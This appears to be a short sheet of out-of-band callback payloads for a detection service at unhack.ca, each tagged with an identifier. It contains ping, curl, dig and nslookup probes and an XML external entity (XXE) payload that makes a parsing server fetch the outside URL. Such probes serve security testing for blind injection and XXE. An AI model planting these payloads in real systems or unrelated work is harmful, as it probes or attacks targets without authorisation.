$ ping -c1 -p 00da03ddbfd0c3f0c7c42ff4670d5000 unhack.ca
 

$ curl http://unhack.ca/p/da03ddbfd0c3f0c7c42ff4670d50
 

$ dig da03ddbfd0c3f0c7c42ff4670d50 @unhack.ca
 

$ dig da03ddbfd0c3f0c7c42ff4670d50.ns.unhack.ca
 

C:\> nslookup da03ddbfd0c3f0c7c42ff4670d50 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/da03ddbfd0c3f0c7c42ff4670d50">]>
    <foo>&xxe;</foo>